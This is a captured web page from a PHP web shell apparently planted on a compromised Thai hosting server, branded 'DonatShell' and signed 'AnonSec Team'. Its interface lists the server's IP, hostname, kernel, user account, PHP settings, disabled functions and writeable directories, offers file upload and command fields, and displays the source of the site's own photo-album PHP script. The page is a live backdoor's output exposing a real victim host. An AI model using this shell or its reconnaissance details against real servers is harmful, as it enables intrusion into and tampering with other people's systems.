%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 18.223.122.53
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/public_html/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/public_html/albums/show_albums.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

$limit_start = 1;
$limit_stop = 2; //เอากี่อัลบั้ม แก้ไขเลขตรงนี้

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />

	
<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">
<!--font-->

</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div align="center" valign="top">
		
		<?	
		echo "<table width=\"450\" border=\"0\" cellspacing=\"26\" cellpadding=\"0\" align=\"top\">\n";
		echo "<tr>\n";

		$sql = "select * From `activity_album` where 1 ";
		$sql .= "Order by `order_item` Desc ,`date_publish` Desc ,`id` Desc Limit $limit_start,$limit_stop ";
		$result = mysql_query($sql);					
		$item = 0;
		While($row= mysql_fetch_assoc($result))
		{
	
			$c_id =  $row["id"];
			$c_alb_title = $row["alb_title"];
			if(strlen($c_alb_title) > 60){
				$c_alb_title = trim(utf8_substr($c_alb_title,0,60));
			}
			$c_alb_thumb = $row["alb_thumb"];
			$c_alb_thumb = trim($c_alb_thumb);
			$c_date_publish = $row["date_publish"];
			$c_date = dateThai_MM($c_date_publish);
			$c_alb_counter = $row["alb_counter"];
			$images = ""; 
			if($c_alb_thumb != "")
			{
				$images = "../photoThumbnail/albums/thumb/".$c_alb_thumb;
			}
			else
			{
				$images = "images/noimage.gif";
			}
			
			echo "	<td align=\"center\" width=\"700\" valign=\"top\">\n";
			echo "	<a href=\"activities.php?salb_id=".$c_id."\" title=\"".$c_alb_title."\" target=\"_blank\"><img src=\"".$images."\" width=\"150\" height=\"100\" alt=\"".$c_alb_title."\" style=\"border:2px solid #45c6e6\"  class=\"magnifyarea\"></a><br><br>";
			echo "	<a href=\"activities.php?salb_id=".$c_id."\" class=\"linktextblack\" title=\"".$c_alb_title."\" class=\"linktextblack\" target=\"_blank\">".$c_alb_title."</a>\n";
			echo "	</td>\n";
			$item = $item + 1;
			if (($item % 3) == 0){
				echo "</tr>\n";
				echo "<tr>\n";
			}

		} //while

		echo "</tr>\n";
		echo "</table>\n";
		
		mysql_free_result($result );
		unset($result);

		include("../include/close_db.php");

		?> 
</div>
</body>
</html>

Anon7 - 2022
AnonSec Team